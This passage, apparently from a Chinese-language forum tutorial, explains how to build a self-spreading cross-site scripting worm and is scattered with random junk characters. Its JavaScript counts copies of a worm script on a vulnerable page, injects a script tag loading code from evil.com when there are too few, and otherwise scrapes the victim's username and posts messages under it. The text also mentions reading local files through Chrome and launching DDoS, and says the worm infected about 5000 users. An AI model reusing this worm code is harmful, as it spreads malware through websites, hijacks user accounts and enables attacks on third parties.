if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}& e' _7 m! l H2 |3 J; Q9 g/ }
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
) [& k) k: Z( G4 g复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码6 |6 x; U. Z! t0 {; j2 r
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.* H3 V" r, ^1 N; n( Z2 L/ V: w4 E
$ ]1 {, n, q6 }& x+ fxmlHttpReq.send(null);( D! j0 m9 _& y6 v9 d
6 }+ n4 O) @* y9 P0 @5 Dvar resource = xmlHttpReq.responseText;
. i2 M! P0 J% p2 ^/ s$ H
, ?$ `. Z( z2 F" Tvar id=0;var result;
# F d/ i; B. O0 |0 z2 @% |7 |$ c$ w# Z
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.+ z* O7 y% E( b6 |
! u3 z) a: b1 J2 Z. N7 xwhile ((result = patt.exec(resource)) != null) {6 L* Y G% S% [% x {* @' |" L
8 w1 [. v* j* m8 s M" l
id++;7 G. E5 ~% U) A6 Y
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}
2 v; U8 [) ^8 m& h& k复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.5 _+ g2 o; ~0 |% o0 u1 f8 n/ p
3 \9 r4 i0 m5 n& j3 W$ [0 Eno=resource.search(/my name is/);+ m" r, j1 G v* j$ p4 p R2 x4 O
9 z7 f+ y' h, xvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.1 a( f& c1 c+ C
/ G- U2 l! \+ C, `var post="wd="+wd;
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: ]) V7 S4 n4 x5 P1 Z! r1 f8 KxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.; f }1 {7 e; |; k& \; D
! C5 u" B5 I/ A6 Q) ~xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");4 i- x$ S. n. A& ^5 _
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xmlHttpReq.setRequestHeader("content-length",post.length); ; D7 ~) X$ @7 Z- p6 D
9 J( Z! Y2 P# W! ]8 t2 RxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");7 G2 b: B; Q2 d3 q3 V" N1 n
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xmlHttpReq.send(post);. g0 M/ b6 y, R% `
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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% q4 n3 c: i5 g# ]9 n% h4 b4 \var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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7 W x! F. Q: M L- Z+ _/ Xvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.' Z% J w' c- r. }+ m' O
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;3 B; U$ q% i# u" l. u" [, x! p
; N6 R1 R5 U1 h- x4 v# jxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);" F# h) M. }2 ?6 G+ f% O* G+ t
! [* ?% T! H' t! D* q' p2 kxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");6 C! f6 _& `! @
8 v5 z0 v' k& u( b7 w6 Y1 V* _xmlHttpReq.setRequestHeader("content-length",post.length); ! P3 g8 F4 R" V6 Z' D
0 w4 a" M5 i& p p, ]. ~0 t+ ]xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");. x$ `! H! t* x, V1 C/ \
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xmlHttpReq.send(post); //把传播的信息 POST出去.
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}
0 u s2 g7 `' Y, R! `6 o* W复制代码-----------------------------------------------------总结-------------------------------------------------------------------% ~) }5 F0 ~! }- I8 b6 A8 R* [
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' \6 g) S$ {, ~5 u5 S& @本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
" L9 a D& c7 e蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
" S$ k8 |- Q' k o5 y1 @ N. q操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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" S4 M& Z& _$ j# P+ D4 {, O- u' ~本文引用文档资料:$ @3 b# }/ W% m' m6 X1 X
/ F; \$ m }% S' v9 U1 P: S"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)7 B" J* P9 c: O+ X3 P/ Z' _
Other XmlHttpRequest tricks (Amit Klein, January 2003)0 B* X# [* ?) F7 x3 O- T
"Cross Site Tracing" (Jeremiah Grossman, January 2003) k6 R% S6 ~% F; q, c p+ D2 _4 U
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